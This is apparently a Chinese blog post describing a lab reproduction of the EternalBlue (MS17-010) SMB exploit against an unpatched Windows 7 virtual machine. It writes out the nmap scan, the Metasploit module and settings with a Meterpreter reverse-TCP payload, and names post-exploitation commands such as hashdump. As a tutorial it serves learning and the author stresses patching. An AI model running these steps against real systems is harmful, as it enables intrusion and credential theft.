一次让人头皮发麻的漏洞复现经历，我真的服了！
大家好呀，今天想跟你们聊聊一个我最近折腾了好久的东西——永恒之蓝步骤详解，说实话，刚开始接触的时候我心态还挺轻松的，结果越往下做越觉得，哇，这玩意儿真的太狠了，你要是也对网络安全、漏洞复现感兴趣，那这篇文章应该能帮到你，我会把整个永恒之蓝步骤详解的过程掰开揉碎讲清楚，尽量用大白话,让你少踩坑。
先说说永恒之蓝到底是个啥
简单讲，永恒之蓝（EternalBlue）就是利用 Windows SMB 协议漏洞的一个攻击工具，编号是 MS17-010，当年“想哭”勒索病毒就是靠它横扫全球的，听着是不是有点刺激？我第一次看到这个漏洞的危害范围时，整个人都愣住了——Windows 7、Windows Server 2008、甚至没打补丁的 Win10 都可能中招。
但注意啊，我今天写这篇永恒之蓝步骤详解，纯粹是出于学习和研究目的，是在自己的虚拟机环境里做实验，千万别拿去乱搞，违法的事情咱不碰,OK？
永恒之蓝步骤详解：我的实操流程
第一步：搭环境，别偷懒
我一开始图省事，结果折腾了半天，后来老老实实装了 VMware，开了一台 Kali Linux 做攻击机，又装了一台没打补丁的 Windows 7 做靶机，这里我真的要吐槽一句：靶机千万别联网！别联网！别联网！重要的事情说三遍。
第二步：确认靶机漏洞
在 Kali 里打开终端，先用 nmap 扫一下靶机：
nmap -sV -p 445 192.168.1.x445 端口开着，而且系统版本比较老，那大概率就有戏，我扫出来的时候心里那个激动啊，嘿嘿,有内味儿了。
第三步：启动 Metasploit
接下来就是重头戏了，输入 msfconsole 启动 Metasploit，这个工具真的是渗透测试的好帮手,然后搜索模块：
search ms17-010会出来好几个模块，我用的是 exploit/windows/smb/ms17_010_eternalblue，这一步在永恒之蓝步骤详解里算是最关键的,选错模块就白忙活了。
第四步：配置参数
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.x
set LHOST 192.168.1.y
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run说真的，第一次敲下 run 的时候，我手心都出汗了，结果……成功了！屏幕上跳出 Meterpreter 会话的那一刻，我差点从椅子上跳起来,太爽了！
第五步：后渗透测试
进去之后可以 hashdump、screenshot、sysinfo 等等，不过我就不细说了，懂得都懂,不懂的也别乱试哈。
我的几点碎碎念
做完整个永恒之蓝步骤详解之后，我最大的感受就是：补丁真的太重要了，微软早在 2017 年就发布了修复补丁，可到现在还有那么多机器没打,你说气不气人？
我把这篇永恒之蓝步骤详解写出来，不是教你搞破坏，而是希望更多人意识到网络安全的重要性，你要是运维，赶紧去查查自己服务器打补丁了没；你要是学生，那就拿虚拟机练练手,别碰真实环境。
好了，今天就唠到这儿，如果你觉得这篇永恒之蓝步骤详解对你有帮助，记得收藏一下，也欢迎在评论区跟我交流，下次我再分享点别的干货,拜拜啦！